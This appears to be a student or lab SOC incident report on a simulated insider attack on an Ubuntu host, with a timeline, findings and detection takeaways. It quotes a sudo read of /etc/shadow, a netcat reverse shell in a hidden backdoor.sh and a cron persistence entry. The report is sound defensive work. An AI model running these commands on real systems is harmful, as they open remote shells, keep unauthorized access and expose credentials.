2026-10-14 13:28:XX	Shell Session	Local session opened (su - socattacker) followed by host enumeration (uname -r, cat /etc/os-release)	Initial Access achieved & Internal Reconnaissance phase
2026-10-14 13:29:11	/var/log/auth.log	sudo cat /etc/shadow invoked; logged as user NOT in sudoers	Unauthorized Privilege Escalation Attempt detected
2026-10-14 13:29:XX	Filesystem (~/.cache)	Creation of hidden directory structure and backdoor.sh script containing netcat reverse shell (nc -e /bin/bash 127.0.0.1 4444)	Suspicious file artifact & potential backdoor payload planted
2026-10-14 13:30:01	crontab	Insertion of cron job (*/5 * * * * ~/.cache/update_cache/backdoor.sh)	Persistence mechanism introduced for automated execution

Timestamp (UTC+3)	Source Log / Artifact	Event Description	SOC Significance
2026-10-14 13:58:12	./ security_alerts.sh	Automated security alert engine execution and anomaly log parsing	Automated SOC Detection Rule Match Triggered
2026-10-14 14:17:47	/var/log/ auth.log	Analyst containment action: account locked and shell set to /usr/sbin/nologin	Incident Response containment executed

1.7 Incident Classification & Final Disposition

- Incident Classification: Suspicious User Activity / Controlled Insider Threat Simulation
- Severity Level: Medium: Laboratory context; would map to High in production if persistence successfully executed root routines or reached external command-and-control servers
- Root Compromise Confirmed: No. Privilege escalation attempts were successfully blocked by standard Linux discretionary access controls and strict sudoers policy enforcement
- Final Disposition: Contained, Analyzed, Logged, and Documented

1.8 Detailed Investigation Findings

The multi-source forensic investigation into SOC-LAB-001 uncovered the following key findings:

- **Attribution & Account Posture:** The threat actor activity originated entirely from the locally provisioned, unprivileged user account socattacker (UID 1003, GID

1003). Verification via sudo grep -R 'socattacker' /etc/sudoers /etc/sudoers.d confirmed zero administrative privileges or sudo rights were assigned.

- **Privilege Escalation Vector:** The user attempted vertical privilege escalation by executing sudo /etc/shadow. This action was immediately flagged and blocked by the PAM/sudo subsystem, generating a clear audit trail in /var/log/auth.log (user NOT in sudoers).
- **Persistence Engineering**: Failing to gain root via sudo, the actor pivoted to establishing user-level persistence by embedding a cron job scheduled to execute every 5 minutes (*/5 * * * *) pointing to a hidden script (~/.cache/update_cache/backdoor.sh).
- **Payload Analysis:** Inspection of the hidden script via sudo cat revealed a reverse shell invocation (nc -e /bin/bash 127.0.0.1 4444), designed to connect back to a local listener.

1.9 Attack Conclusion

The controlled attack simulation successfully validated that an unprivileged user, when restricted from direct administrative access, will attempt secondary techniques such as local system reconnaissance (uname, /etc/os-release, /etc/passwd), unauthorized privilege checks (sudo), and user-level persistence mechanisms (cron jobs paired with hidden script directories).

While the simulation did not deploy destructive malware or advanced kernel exploits, it successfully replicated the behavioral fingerprint of an insider threat or compromised standard account attempting to maintain a foothold on an Ubuntu endpoint.

1.10 SOC Conclusions & Key Takeaways

The Power of Multi-Source Correlation: Relying on a single log source (such as auth.log or process monitors in isolation) provides an incomplete picture. Correlating authentication

failures, sudo refusal logs, cron schedules, and hidden file metadata enabled a complete reconstruction of the attack lifecycle.

Baseline Integrity: Maintaining accurate pre-attack system baselines (ss -lntup, process lists, user directories) is indispensable for quickly isolating anomalies from normal background operating system noise.

Detection Engineering Value: Custom Bash-based monitoring scripts (security_alerts.sh, ssh_monitor.sh, user_monitor.sh) successfully bridged the gap between raw OS logs and actionable SOC alerts, proving that lightweight endpoint monitoring is highly effective for Linux environments.